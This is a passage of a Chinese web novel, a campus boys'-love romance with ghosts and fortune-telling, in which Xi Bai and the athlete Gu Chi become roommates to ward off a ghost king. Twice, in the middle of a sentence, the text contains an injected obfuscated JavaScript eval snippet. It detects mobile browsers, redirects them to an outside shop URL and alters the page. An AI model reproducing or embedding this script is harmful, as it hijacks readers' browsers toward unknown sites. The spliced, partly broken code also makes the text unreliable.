而北城大学的学生们则在讨论另一个听起来很奇妙的话题:他们的校花溪白,是不是打算转型了? 话题的掀起可以说是非常奇妙,但细究下来却也不意外。 平日里虽不刻意打扮,但凭借着优秀的五官一向以“漂亮精致”著称的溪白,今天早上的打扮居然完全换了一个画风。 他手臂上多了一只棉质的护腕。 虽然仅仅是一个很小的配饰,但那种护腕是体育生训练的时候才用的,纯黑色带个白logo,加上早起出门有些注意力不集中,溪白随便扯了套休闲服就穿了。 以至于让人有一种“溪白准备开始健身了”的错觉。 [神算子:溪宝,你要健身?] [神算子:啊啊啊啊不可以,你不要变成那种黑皮公0啊啊妈妈不同意!] 溪白收到消息的时候满头黑线,根本不知道庄算在说什么。 但刚好他也想找庄算聊聊今天早上的事情,于是两人约在学校的咖啡厅见面。 见面后,庄算先从背包里翻出来一只崭新的护身符递了过去。 “溪宝,给你。” 昨天溪白生日跟顾弛出去了,庄算就趁机回家处理了点事情,同时顺手给溪白拿了只护身符。 道了谢,溪白伸手接过,余光看到庄算背包的里露出了一个棱角型的物体,上面还写写画画了些什么横线、文字之类。 “咦,你家里把罗盘传给你了?” 即使是天师,也有各自的分支,庄算家这一脉则更精通风水术数,常备的随身法·器自然就是罗盘。 “哦!是啊,我昨天回家就是这件事嘛。” 庄算现在二十多了,也比小时候稳重不少,家里便给他弄了个罗盘,教了些简单的法术练练手,也是为以后正式传承打个基础。 他将罗盘从包里拿了出来,溪白终于看清了全貌。 整体看上去,就是那种很符合经典印象的罗盘模样。 木质的外盘承托着可转动的内盘,先天和后天八卦,天干地支,五行星宿,按照固有的规则逐一排列在内盘上,再往内的正中央为天池,一根指南针正固定在玻璃盖之下,随着庄算的动作而转动着。 在庄算的家族里,年轻的天师活得了自己的第一只罗盘,代表家族仙神的认可与传承,也是天师的荣誉。 “你看溪宝,根据内盘就能推测出现在的万年历,以及五行纳音……” 庄算兴奋地介绍着自己的罗盘,溪白很捧场地听。 伸手指着罗盘中央的指南针,庄算道:“而这个就是最方便的了,平时指针都指着南方,但只要一有阴物阴气靠近,罗盘的指针就会发出红光,转动方向并颤抖示警,针尖所在的方向,就是阴物的方向!” 溪白听着,下意识伸手过去。 于是庄算话音还未落,就见原本还安静稳定指着南方的针尖,在这一刻突然就像被扰乱了磁场一般,以一种肉眼都难以捕捉的速度,无规律地转了起来! “诶?!”庄算张大了嘴。 指针毫无规律地顺逆转动了十数圈,像是有一只人眼看不见的手,在偷偷拨乱作怪似的! 而下一刻,红光亮起,罗盘震动,那同样鲜红的指针缓缓停了下来。 针尖的方向正是溪白伸过来的那只戴着棉质护腕的手! 庄算:??? 溪白:…… “那个,跟你说个事情。” 溪白今天约庄算出来,其实就是想要聊一下关于他这几天发生的这些奇怪的事情。 于是当溪白把护腕往下拉了一截,露出手腕上那个红痕亮给庄算看的时候,后者爆发出了一声高亢的尖叫。 无数的目光顿时聚焦过来。 “不好意思不好意思。” 庄算赶紧给咖啡厅里的其他人道歉,将座椅轻拿轻放地搬到溪白身边,他压低声音。 “溪宝,这,你……” 他说话都磕绊了。 “你和顾弛,坐火箭啊?” 漂亮的一双眼迅速眨动了几下,溪白脑回路拐了几道弯才明白庄算在说什么。 “你在想什么啊!”溪白耳朵泛红,“不是顾弛咬的。” 怪不得他说庄算刚才的眼神不对劲,这都想到哪里去了。 但尽管话是这么说,但昨晚的那个梦里,顾弛的确也参与了。 组织了一下语言,溪白把这几天发生的事情一五一十地和庄算说了,从鬼王闯进他的梦里,再到这几日频繁失控撞鬼,再到昨天晚上梦到鬼王啃他,然后醒来手腕上就多了一圈牙印的事。 当然,省略了顾弛变成大狗然后舔他的那一段。 毕竟这不重要。 嗯。 “溪宝,这……” 庄算脸上的说笑之色敛去,转而变得严肃起来。 “我觉得,鬼王的事情不会只是一个梦。” 换而言之,溪白梦里的鬼王,是真实存在的。 溪白点头,他也是这么想的,今天一整天注意力都不集中,也是因为在思考如何解决这个问题的缘故。 庄算看着溪白的手腕,腕骨本就纤细清瘦,皮肤更是白皙得有些脆弱,能清楚地看到底下淡青色的血管。而在这样的映衬下,那圈鲜红的牙印无比清晰,像是在溪白的手腕上盖了个印戳。 红痕大而张扬,带着浓烈的,让人难以呼吸的侵占感。 而放置在桌面上的罗盘,直到此刻仍旧透着鲜红色的光芒,指针追随着溪白手腕移动的方向,颤动不停的指针,犹如溪白此时此刻同样有些混乱的心跳。 作为天师世家,庄算在家传的捉鬼志里看到过不少被鬼纠缠上的案例,基本上下场都不太好。 那些还只是小鬼,而溪白碰到的却是鬼王。 “我问一下我哥吧!” 庄算的哥哥庄术,年龄比他们大五岁。 据庄算的介绍,他哥天赋很高,很多年前就已经开始传承家学,直到今日在天师界也算小有名气,光是帮北城的有钱商户看风水,一个月就能赚六位数。 视频接通的时候,庄术正翘着腿大喇喇地躺在沙发上。 “找我干啥?有事启奏,无事退朝!” 庄算满头黑线,稍稍将镜头往身旁偏移了一点,露出溪白的脸。 “哥,这是溪白。” 从小和他哥一起长大,庄算最清楚自家哥的性子。 庄术这人性格特怪特难搞,做事全凭心意,但有一个死穴:死颜控,爱美人——纯欣赏的那种。 所以正如庄算所想,当溪白入镜后,原本还吊儿郎当的庄术立刻从沙发上坐直了身体。 “哦!溪白小同学,你好你好!” 庄术朝镜头伸出手,笑意盈盈地看着溪白。 对方认真的眼神和像是得不到反应就不休止的态度,让溪白不得已和庄术来了一阵虚空握手。 看庄术满意地收回了手,溪白悄悄看了一眼身旁的好友。 你哥是这个画风的啊? 庄算挤了挤眼睛。 那什么,画风是清奇了点,但他哥的玄学造诣还是很不错的,正经靠谱的! 溪白看了一眼镜头里正点一根盘香,结果防风打火机不小心把真丝睡衣的袖口烧出一个洞,手忙脚乱扑灭后,开始望天掐手指算吉凶的庄术。 转头,沉默,凝视。 庄算:…… 咳,那什么,应该大部分时间是靠谱的。 “哈哈,不好意思,出现了一点小意外,让溪白小同学见笑了。” 庄术将袖口挽起,遮住了那个看着非常不靠谱的黑洞。 “怎么突然给我打电话,有什么事情啊?” 后面那句话是对庄算说的。 “哥,溪白遇到点事,想跟你咨询下。” 庄算简要地将溪白的话转述了一下,庄术的表情便逐渐凝肃起来了。 “阴气实体化。” 庄算:“什么?你再说清楚点。” 怎么突然说专业术语! 连他都听不懂的词,溪白就更不懂了。 庄术摆了摆手,简明扼要地说:“所谓阴气实体化,指的并不是阴气变成了实际可触碰的物体,而是指在和阴气接触后,活人身上会留下实际的,可以看见的痕迹。” “那应该叫’阴气躯体化’更准确一点吧!”庄算忍不住道。 庄术白他一眼:“第一个提出这个词汇的论文作者就用的’实体化’,人家的专业术语,我能有什么办法!” 前段时间被小论文作业折腾得ptsd的溪白瞬间捕捉到了什么。 天师也要发论文的? “是啊!”庄术可算是找到在美人面前显摆的机会了,好好科普了一番。 天师协会里的人员成分极其混杂,除了像他们这样有传承的天师世家,以及一些闲云野鹤的散修比较常见之外,还有许多半途出家的成员,以及修行天赋较低,专门研究经书理论的。 自然而然就逐渐衍生出了学术部门,有不少甚至还去各高校进修宗教学。 渐渐的,天师协会里也有了一些专门为了发论文而存在的人员。 “我草,怎么没人告诉我!” 最讨厌学习的庄算立刻就崩溃了,抓着手机追问屏幕另一头的亲哥。 “咱家没有这种学术分子吧?” 他可不想毕业了还要被什么查重、参考文献、数据实验折磨。 “咱爹挂了个导师,偶尔会指导学生……而且你找我不是为这个事的吧!” 庄术随口应了一句,让弟弟赶紧把他那张大脸挪开,都挡着他看溪白了。 庄算哦了一声,想起现在的关键是替溪白解决问题。 “你继续,阴气实体化,然后呢?” 为了防止亲哥掉书袋装逼,庄算还叮嘱了一句:“不要说理论,就说结果,溪宝现在究竟是什么情况,有没有什么解决办法?” 那个红印看着都惊悚,哪怕真人去咬,对牙口怕都是一种挑战。 “你这几天遇到的鬼打墙、教学楼的意外、还有你手腕上现在的牙印……八成都与那鬼王有关,具体的原因,或许是因为你的八字。” 随着讲述,明显认真了起来的庄术就好像换了个人似的。 “八字极阴者,其精、气、神、血、肉、魂,对阴物而言皆是大补之物。” 而鬼王之所以出现在溪白的梦里。 “恐怕,他对你有所图,比如……想要吞噬你的灵魂。” 庄算的眼睛都瞪成了铜铃,抓住溪白的袖子。 “妈呀!那有没有什么解决办法?” 庄术想了一下,问溪白道:“你这几天遇到这些事情的时候,是怎么脱离出来的?和我详细说一下,不要放过任何细节。” 溪白在庄算刚刚转述的基础上再次补充了一点,经过刚刚的几番交谈,他现在对庄术已经多了很多信任。 因为记忆有些淡化,溪白讲述的时候是从最近发生的事情倒着往前讲的。 说到从北城大学校外的巷子口转出来碰上鬼打墙那件事的时候,庄术第一次打断了他。 “你说你听到了鬼王的声音,然后被那个男生撞了一下,就从鬼打墙里出来了?” 溪白点了点头。 若非是顾弛亲口承认,他甚至以为撞了自己一下的是鬼王而不是人类。 “能问到那个男生的生辰八字吗?尽快问一下然后告诉我!” 庄术意外的激动,脸都贴到了尽头前,然后又放下手机,从沙发上站起来,开始来来回回地踱步自言自语。 “嗯,如果我没猜错的话……应该是的,不会有错,嗯嗯……” 溪白和身旁的庄算对视了一眼。 “问问吧,你不是有顾弛微信。” 庄算胳膊肘碰了碰溪白,说着说着,他脸上又开始浮现出姨母笑。 “嘿嘿,下个生日记得给人家买礼物,免得伤了大型犬的心。” 溪白:“为什么会伤心?” “你问一只狗狗喜欢吃什么肉骨头,结果不是为了投喂人家,你说伤心不伤心?” 庄算说的理所应当,表情还挤眉弄眼的。 溪白:…… 在庄算的鼓劲和庄术的注视下,溪白默默拿出了手机。 他不是磨叽的人,但却难得的使用了一个磨叽的开场。 [White:在吗?问你个事] 只是还没等溪白把第二句话敲出来,顾弛就回消息了。 [顾:嗯] [顾:我在] [顾:找我?] 庄算:“哦哟哟~追这么紧~~” 溪白本来没多想的,但庄算在一旁语调浮夸地来了这么几句,溪白真有一种刚推开门,就被家里等待的大型犬扑上来纠缠不休地要摸头的既视感。 也罢,问都问了。 而且以后要是住在一起,肯定少不了各种打交道和人情往来。 溪白想到这,心中默默把“记得给顾弛买生日礼物”这句话加到了待办里。 [White:方便问一下你生日是什么时候吗?] 话都发出去了,溪白才后知后觉地转头看庄算。 “这么直接问会不会不太好?” 如果有谁上来就问他生日,他肯定会先反问为什么的。 庄算:“爱你的男人不会在这种小事情上斤斤计较!” “他的第一反应是先回答你的问题,然后再问原因!” “你好像越来越神神叨叨了……” 溪白想辩解一下自己跟顾弛还没有什么出格的交流,哪怕吃饭也是正常的交流。 连互换锅底都没有! 结果刚开口说了半句—— [顾:6月20号] [White:方便问哪一年和出生日期吗?] 看八字必须要精确到年月日时四柱,连溪白都觉得自己这样非常不礼貌了。 可谁知道顾弛真的一一作答了,答完之后,才在话语的尾巴补了一句。 [顾:怎么了?] 庄算:“嘿嘿。” 溪白:………… [White:就是问问] 溪白默默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108160|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地给顾弛ID背后加了个备注,变成了“顾-6.20” 另一头,知悉了顾弛生日的庄术直接扯了张纸,在上面清楚地将阳历换算成阴历,又标了一堆溪白看不懂的什么五行、值神、纳音…… 就见镜头里庄术的眼睛越来越亮,最终,他将手里的笔往桌面上一按。 “哥,怎么样?”庄算立刻问。 虽然他刚刚嘻嘻哈哈地逗溪白个没完,但回到了鬼王的这件正事上,还是很关心自己朋友的安危的。 庄术的答案言简意赅。 “和我猜的一样,这个男生是天生的八字极阳。” 阴阳相克,阴阳也相生,有溪白这样八字奇阴的,自然也有八字阳气重的。 只是溪白没想到的是,这居然会是顾弛。 “他生在当年的夏至日,而八字中的天干地支中以阳木、阳火为最,又有阴水、阴土滋生,整个八字格局中五行循环往复,如太阳之火生生不息,必定是极阳命格,没错。*” 庄术看完了顾弛的八字,此刻已经十拿九稳。 他对溪白道:“你上次说这个男生在街头碰到了你,你就从鬼打墙里走了出来,正是因为他极阳的命格替你冲散了那些纠缠的阴气。” 太阳洒落时,阴霾自然会退去。 这一刻,溪白再度想起那淡淡的松木香气,顾弛的身影仿佛也浮现在了面前。 “那是不是只要溪宝和这个男生多待在一起,就能不受侵害了?” 庄算很能抓重点。 “理论上来说,是这样没错的。”庄术赞赏地看着自己的亲弟弟,“不错啊小蒜头,成长挺快。” “不要叫我小蒜头!”庄算反驳了一句,抛下那边的亲哥,转头,“溪宝,听到了吗!” 溪白明白他的意思。 还有什么比当室友更能和顾弛长期相处在一起呢。 “但是……” 溪白简单回复了顾弛一句。 [White:我生日是前几天,刚过不久] 又发了个准确的日期,溪白放下手机,他十分认真地问庄术道:“哥,我还想确定一个事情。” “你说,有问必答!” 庄术被溪白的一声“哥”叫得心情舒畅,这会儿对方提什么条件他都拒绝不了。 “我想问……” “如果那个男生和我长期相处,他会不会也发生什么危险?” 溪白的喉结很明显地滚动了一下,目光落在桌面上,从镜头里看,他似乎是在出神。 但溪白看的是自己的手机。 界面还保持在他和顾弛的聊天小窗里……或者说,他们的交流一直在持续着。 [顾:12月22?] [顾:快到了] [White:还有几个月呢] 虽然只是想邀请顾弛来当他的室友。 但缠着溪白的那个,毕竟不是什么普通的小鬼,而是鬼王。 顾弛再怎么八字极阳,也只是一介普通人,凡胎肉·体,若是因为他的到来而惹怒了那个鬼王,再害对方受了伤……这并不是溪白想要看到的结果。 庄术听完溪白的担忧,表示不无道理。 “但是我更倾向于这不是一个需要担心的问题。” 庄术起身,从书架上抽了一本封面陈旧的书,看上去像是什么古籍。 翻阅了一下,他点点头,“嗯,我没记错,鬼王其实也分能力大小。” 所谓鬼王,其实广义上来说就是比普通的游魂野鬼更加强一些的大鬼,像牛头马面,最早的两位黑白无常——谢必安和范无赦,都可以说是“鬼王”。 “地府里有阴司,也有无数的亡灵山,更有数不清的大小洞天……占个山头便自称大王的事情,实在是数不胜数。” 庄术说着,又把分析点重新引回溪白身上。 “再看你,你说那入了你梦的鬼王,如果他真的能力超群,又为何不强行带你走?” 啪地一声将书合上,庄术翘起腿,老神在在地道:“说白了,鬼王只不过是个自称的噱头,他的实力,恐怕不高。” 他又举了好几个自己亲身经历过的例子,庄术曾帮过几个被鬼缠身的客人,基本上就是一枚护身符,或者一场法事就能轻松收服的鬼,但在恐吓他客人的时候,一个两个都凶神恶煞得很。 “色厉内荏!”庄术摇头晃脑地总结。 一个经验丰富的天师有理有据的分析,以及顾弛真的撞了他一下便驱散了鬼打墙的事实经历,加上最近越来越频繁的失控撞鬼……各种实际因素摆在面前。 何况……溪白再次低头,看了一眼自己的手机。 [顾:除了烤冷面和牛肉,你还有什么店想吃的吗?] [顾:礼尚往来] 溪白缓缓吐气。 顾弛问了他的生日。 而且似乎并不只是单纯的询问一下。 所有的事情,似乎都指向了同一个选择,事已至此,溪白似乎也没什么好犹豫的了。 [White:你打算找室友吗?] 无视了一旁庄算发出的怪叫,溪白继续打出第二句,发送。 [White:如果你也有找室友的想法,那不如和我试试?] 手机屏幕上,顾弛的消息陡然安静了下来。 庄术挂了电话,去冰箱里翻了一瓶气泡水来润嗓子。 路过客厅的时候,庄老爷子,也就是庄算和庄术的父亲,正在给一个学生指导论文,见大儿子路过,老爷子开口。 “来,这篇你看看。” “别了爹。”庄术赶紧摆手,刻意作出一副沙哑的嗓音,指了指自己,道,“我刚给一个漂亮美人解了一小时的惑,您儿子现在是真没有多余的嗓子了。” 边说,庄术边转身飘着跑了。 沙哑的声线余韵自远方传来。 “宝娟,我的嗓子,我的嗓子……” 望着溜之大吉的大儿子,庄老爷子无奈摇头。 他看了一眼身旁的学生,抬头示意:“继续吧,你刚刚说到哪里来着?” 学生点点头,十分恭敬地应了一声,继续汇报自己的论文进度。 “前段时间我通过调研发现,某些修为比较高超的阴物鬼魂,其实是可以像山精、地仙等活物一般修炼出人类的躯壳,行走于阳世之间的。但为了掩盖行踪,它们往往会让躯壳带有足够的阳气,例如在立夏、夏至等时间塑造,以此遮掩自己身上自带的阴气……” 而与此同时,与庄算一同走出咖啡厅的溪白,终于等来了顾弛的回复。 顾弛先回了他一张图片,溪白还没来得及看。 [顾:申请合宿需要双方各自提交一份申请表,打印后双方签字,再送到学校行政楼,需要双方都到场] [顾:北城大学合宿申请表(模板).pdf] [顾:你什么时候有空?] “啊啊啊溪宝!” 庄算又开始咿哩哇啦地怪叫,四周人多,他赶紧压低声音,凑到溪白耳边说了一句话。 溪白耳朵顿时红了一下。 但他没有办法反驳和否认。 庄算刚刚的话,他也想到了。 顾弛这几句话说的……好像他们要去领证了一样。 7. 第 7 章 [神算子:溪宝,你和顾弛什么时候同居呀?] 溪白正上着课,听见手机的震动声,扫了一眼庄算的消息。 …… 什么叫同居!明明是他跟顾弛合宿。 庄算倒是比两个当事人还要积极。 [White:周五下午吧,我和顾弛都没课,刚好去行政楼交表] [White:周末行政老师放假,等周一学校系统录入后,他再搬宿舍] [神算子:周末搬不就好了] [White:不是说学校系统录入要等一段时间吗?] [神算子:系统录入是让财务那边打款退款的,只要你俩愿意出两份单人间的钱,直接让他搬过去,空着另一间都可以,学校又不查寝] 溪白退出小窗,手指几番想要点开顾弛的头像。 [神算子:早点搬吧,省得又碰上什么怪事了] [神算子:顺便周末培养一下感情【滑稽】] 溪白一想也是,定周五交申请表的时候,他和顾弛交换过彼此的课表,两人的课程都排得比较满,工作日很难凑到相同的空闲。 于是溪白点开了顾弛的小窗,敲字。 “你这个周六……” [顾:我同学说合宿不一定要等录入再搬迁] 溪白打字的手一顿。 看着顾弛的消息,他不知为什么,耳朵有些热。 从前两天说交表的事情,再到现在搬宿舍的事……嗯,或许顾弛这个人做事情就是比较风风火火的吧。 毕竟练体育的嘛,活力比较足,庄术批八字的时候也说顾弛是小太阳什么的。 溪白在心底这样开解了自己一番,于是等消息发送的时候,内容就变成了: [White:那周六搬你方便吗?] [顾:要不周五下午交完表就搬吧] [顾:我东西不多] [顾:搬完还可以一起吃饭,如果你没有约的话?] 溪白捧着手机,现在的他已经完全听不见讲台上老师说的内容是什么了。 手指像是有自己的想法,长按选中顾弛的每一条消息,引用回复。 [White:好,那就周五] [White:我帮你搬一些] [White:我没有约,这次找一家你喜欢吃的店吧] 将手机反扣在桌面上,溪白深吸一口气,再缓缓吐出来。 他用手背贴了贴自己的有些发烫的脸去散温,目光移动到阶梯教室最前方的黑板上,努力重新跟上老师的节奏。 这节是古代文学鉴赏,灰白短发的教授老太太正戴着老花镜,讲授着古籍里的短篇小说内容。 而认真听了一下老师所说的内容,溪白无语了。 “……像聂小倩和宁采臣、颜如玉和郎玉柱,都是《聊斋》里比较经典的人鬼恋作品,而要追溯到最早的人鬼相恋,还是曹丕所书《列异传》的《谈生》一篇……” 毫无征兆地在课堂上扑面而来的“人鬼恋”,让刚刚专注起来的溪白,又重新掉进了回忆的深潭之中。 被鬼王盯上,还被鬼王喜欢……这在古人的脑细胞里被定义为“浪漫”的情节,于溪白这个当事者而言,只觉得一阵悚然。 希望顾弛的到来真能如庄术说的那样,让他彻底摆脱这些奇怪的纠缠。 溪白的思路越跑越远。 从人鬼恋想到鬼王,从鬼王想到顾弛,再想到顾弛刚刚发的那些话。 如果让庄算看到了,估计又会表情浮夸地笑自己。 “哎呀~真是小太阳大型犬呢~好黏人啊~” 溪白都能想到那个语气。 手机在此刻震了一下,溪白反应过来时,反扣着的屏幕已经被拿到了眼前。 迎面而来的,是一只毛绒大狗表情包。 [顾:那说定了,周五见] [顾:还有两天] [顾:我很期待] [顾:【微笑大狗】] 看着那毛绒绒像个雪团子,一边吐着舌头露出可爱到冒粉红泡泡的笑容,一边用力抖着耳朵的大狗狗。 溪白放下手机,将脑袋埋在自己的手臂里蹭了几下,余光之中,他看到被教室玻璃窗折射出的圆形光晕里上下飘动的尘埃。 像是升落起伏的星星点点,合上了心口的节拍。 教室里的阳光很暖,老师依旧在用温柔的声线讲着课,但此刻他只想再多赖一会儿。 头顶柔软的发丝轻轻晃动,露出来的小半张脸被窗外投进来的阳光映得粉白,溪白不知道,此时此刻,他略显迷离的眼底,流转着一种名叫羞涩的情绪。 ※ 周五中午,顾弛再次友好拒绝了徐骁他们的吃饭邀请,下了课便从教室径直赶往宿舍。 望着那匆匆离去的背影,一个队员碰了碰身旁的徐骁。 “诶骁哥,你说弛哥是不是有什么喜事啊,感觉他今天心情不错。” 徐骁耸了耸肩,“谁知道呢。” 顾弛不一直都独来独往,神神秘秘的么。 “走了吃饭去了。”徐骁招呼道。 另一边,顾弛回到宿舍楼下。 他进门的时候,刚好碰到一男一女在宿管办公室登记。 北城大学不是男女混宿,只有女生可以进男生宿舍,但是需要有正当理由,并在宿管处登记校园卡。 通常来说女生去男生宿舍楼只有一种情况:一起来搬东西。 “谢谢阿姨,那我们先上去了。” 两人跟宿管道了谢,挽着胳膊上楼。 顾弛比他们慢了一些,他看着两人的背影。 等到了自己宿舍的楼层,顾弛终于确定那个男生和他住同一层楼,之前上早八课下楼梯偶尔会碰上。 男生进了宿舍,从里面搬出几只打包好的箱子放到走廊上,然后又转头进了寝室,拿出一只手提袋。 “宝宝,你帮我拿这个就好了。” 女生伸手接过手提袋,看着自己男朋友手里沉甸甸的大塑料箱。 “真的不用帮你搬箱子吗?” 男生唔了一声,将手里的箱子放下,又拿了几本书出来,装进袋子里。 “那宝宝帮我多拿两本书吧。” “这个箱子重,我来就好。” 男生道:“辛苦宝宝了。” “不辛苦。”女生把袋子往肩头又提了一点,笑眯眯的,“搬家嘛,本来就是要一起分担的。” 男生感动地亲了女生的额头一口,“谢谢宝宝。” 顾弛观摩完全程,抓着钥匙拧开宿舍门锁。 进门后,他又探出头看了一眼冒着粉红泡泡的走廊,和那两个已经从拐角走下楼梯的背影,若有所思。 这就是人类的幸福吗? ※ 溪白下午前两节有课,从教学楼出来的时候,他给顾弛发了个消息。 [White:我搞定了] [White:行政楼5点下班,我们先去交表,再去你宿舍一起搬东西?] [顾:好] 两人约好在行政楼门口见面,溪白到的早,先去一楼的文印室印了两份申请表填好,签上了自己的名字。 等顾弛到的时候,溪白恰好搞定。 “抱歉,久等了。” 溪白摇了摇头,两人一同上楼去了总务处。 “文学院溪白,体育学院顾弛,对吧?”总务老师确认了一下双方的个人信息,刷了一下两人的校园卡。 将校园卡交还,总务老师道:“好了,从今天开始你们就是室友了。顾同学的寝室将在下周三的时候回收清空,不需要的物品可以直接留在宿舍,会有专门的清洁人员去清理。” 道了谢,溪白和顾弛一同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108161|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了办公室的门。 整个流程比他们想的还要更快一些,两人下楼的时候,教学楼还有半个小时才准备下课。 溪白把顾弛的校园卡递回的时候,余光扫到了上面的照片。 不得不说,照片挺帅,而且似乎是比较早的时候照的,模样还挺青涩,带着一点凶凶的气场。 溪白突然感知到庄算说顾弛对他不一样是什么意思了。 如果当天在体育馆他遇到的是照片上这个表情的顾弛的话,溪白八成是不会跟对方说话的。 “直接去你宿舍?”溪白问,“你的东西收好了吗?” 顾弛点了点头。 两人一同下楼,到大楼门口的时候,顾弛突然开口:“今天是周五?” 溪白点头,“是呀,怎么了?” “没事。”顾弛摇头。 走到宿舍楼下时,顾弛突然给溪白塞了一枚钥匙。 “你先上去吧,东西我都收好了,你先休息,稍微等我一下就好。” 没等溪白反应,顾弛就转身离去,身影很快就已经消失在了道路的尽头。 溪白带着一头雾水,先上了楼。 推开门的那一刻,他看到了一间特别干净整洁的宿舍,最后一点关于两人生活习惯的担忧,也彻底放下心来。 宿舍整齐清爽,窗明几净,连椅子都在书桌前摆得方方正正。 地面上摆着一只箱子,里面装了几只小的封装箱,分别是是顾弛的生活用品、衣物和课本。垒在一块整整齐齐,看着甚至有些赏心悦目。 溪白看了一圈,发现除了这只箱子,似乎没有其他的东西了。 如果只是这只箱子的话,顾弛应该不需要他来帮忙吧? [White:需要我拿的东西放在哪里呀?] 溪白发了条微信过去,但不知道顾弛在忙什么,这一次,他居然没有秒回复。 那是不是也没那么快回来? 鬼使神差的,溪白又往房间里走了些。 虽是单人间,但宿舍装修的时候都标配了两张床铺,溪白左右打量了一阵,勉强从右边那套家具上分别出一些使用痕迹。 他上前两步,伸手,拉开了书桌旁的衣柜。 一股留在衣柜之中的淡淡松木冷香,如溪白所期盼的那样混入了鼻息。 正当这时,宿舍门被人推开,锁簧的弹响像是一声惊雷,在狭窄的空间里回荡开来。 “你回来了……” 溪白眼疾手快地关上宿舍门,有些心虚地往外走了几步。 “我就看到了这一个箱子,你……” 话没说完,他闻到了一股熟悉的食物香气。 溪白下意识地伸手接过顾弛递来的东西,低头一看。 是他最爱吃的,每逢三四五才开档的那家烤冷面。 溪白突然想起,顾弛上一次请他吃烤冷面的时候,他说了一句话。 但那句话只是随口说的。 “我每个周五都要吃一份烤冷面的,不然下次再想吃,就得是五天后了。” 溪白抬起头时,顾弛已经把地面上的箱子轻松地抱了起来。 “你拿那个就好。” 顾弛说了一句,溪白慢了一拍才意识到,对方是在回他微信上发的那句话。 “箱子重,我来就行。” 顾弛又说。 溪白眨了眨眼,下意识地问出一句:“那我…只拿烤冷面就行?” “嗯。” 顾弛搬着箱子往外走,微微侧首回头。 “辛苦…你。” 拿份烤冷面,还要说辛苦。 溪白的脑袋都还没转过弯来,就听顾弛停顿了一下。 “也谢谢…你,来陪我。” 溪白没有注意到顾弛话里的诡异停顿。 因为他觉得自己的耳朵,好像又控制不住地开始变热了。 8. 第 8 章 两人吃过晚饭回到学校。 到了分岔路口的时候,溪白下意识地顿了一下脚步。 抬起眼时,看到前方回头等着自己的顾弛,他才突然想起来不用分开走了。 是哦。 顾弛已经和他是室友了。 回到宿舍,顾弛简单整理了一下东西。 溪白坐在自己的位置上,看着他把大箱子打开,拿出里面的课本、衣物、日常用品,分门别类地放到东西该去的地方。 不得不说,体育生的身材是真的好。 宽肩窄腰,手长腿长,伸展手臂时带起衣服下摆,隐约可见清晰漂亮的人鱼线和腹肌。 于是顾弛回过头的时候,就看到溪白盘腿坐在他买的那张大电竞椅上。 目光从那片交叠的雪白上掠过,顾弛开口:“怎么了?” “呃?”溪白打了个愣,回过神来,迅速找了个话头,“哦那个……” 他的目光在顾弛身上、四周逡巡,最终锁定了男生头顶那光秃秃的床铺。 溪白道:“你怎么没有床垫啊?” “床垫?”顾弛轻轻歪了一下头。 溪白指着光秃秃的床铺,“那你打算怎么睡?” “就,这样睡?”顾弛回头看了一眼,被溪白问了两句,他的语气似乎也带上了不确定。 铁质的床架上,两块木板平放在一起就成了床板,厚薄甚至还不统一。 木板的边缘依稀可见层层密密的毛刺,板面上有的地方没经过磨平,打蜡也不仔细,留下一片未经处理的裸木。 “这怎么睡!”溪白立刻站了起来。 溪白好像很激动? 顾弛看着溪白走到衣柜前,打开柜门翻出来一个塑胶袋子,手掌抓着袋子上的提耳,有些艰难地把袋子拖了出来。 他下意识地伸手去接,往袋子看了一眼。 里头装着一张叠起来的软垫。 溪白喘匀了气,抬起头刚想说话,却直接撞进了那双好看的眼睛里。 眼睛干净而又清澈,在宿舍灯光的映照下,瞳仁黑溜溜的。溪白注意到顾弛的睫毛很长,像是能承托起很多的情绪,此刻纤长睫羽低垂,目光正看着自己,像是有很多话要说。 他这才回过神来。 刚刚那几句话,听起来有多么……贴心。 在“刚搬到一起的室友”这重身份的加持下,这份贴心之中,平白多了一点暧昧。 至少,溪白不觉得体育学院的那帮男生会在乎室友睡硬板床这件事。 或许他们其他人自己也睡的硬板床。 借着擦汗的功夫,溪白摸了一把自己的耳朵,他努力让自己的声音听起来自然,仿佛关心室友是除了体育学院那帮直男之外的男生都会做的,一件很自然的事情一般。 “这个是我之前用的,有点薄,我睡不惯,就换了一张。” 抬起头再看顾弛的时候,他只觉得这个男生高大、帅气,但又多了几分笨笨的样子。 好像不太会照顾自己的那种笨笨。 “如果你不介意的话,就……先拿去用着。” 那双低垂的眼睛,在这一刻微微睁大,变圆。 “是给我用吗?” 溪白听见顾弛这么问。 好像真的有点笨笨的。溪白心想。 “嗯。”溪白点头,都交到你手里了,当然是给你用的啦。 而后,他便看到那双睁圆的眼睛弯了起来,连睫毛也在轻轻晃动。 这一刻,溪白仿佛看到了那只微笑大狗的表情包真的出现在了自己的面前。 看过顾弛校园卡上的照片后,溪白就没想过,面前的男生居然还会笑成这样。 出神之间,他依旧清楚地听见了耳畔那好听的声线。 像是绵绵的细针扎进了耳朵,掀起一阵酥痒,密密麻麻的,有些刺挠。 “谢谢你,溪白。” ※ 当晚,顾弛洗完澡从浴室里出来的时候,溪白正在晾衣服。 听见身后的声响,踮着脚蹦跶的溪白停下了动作。 回头彼此对视半晌。 “……宿舍的撑衣杆坏了。”溪白不太好意思地开口,说道。 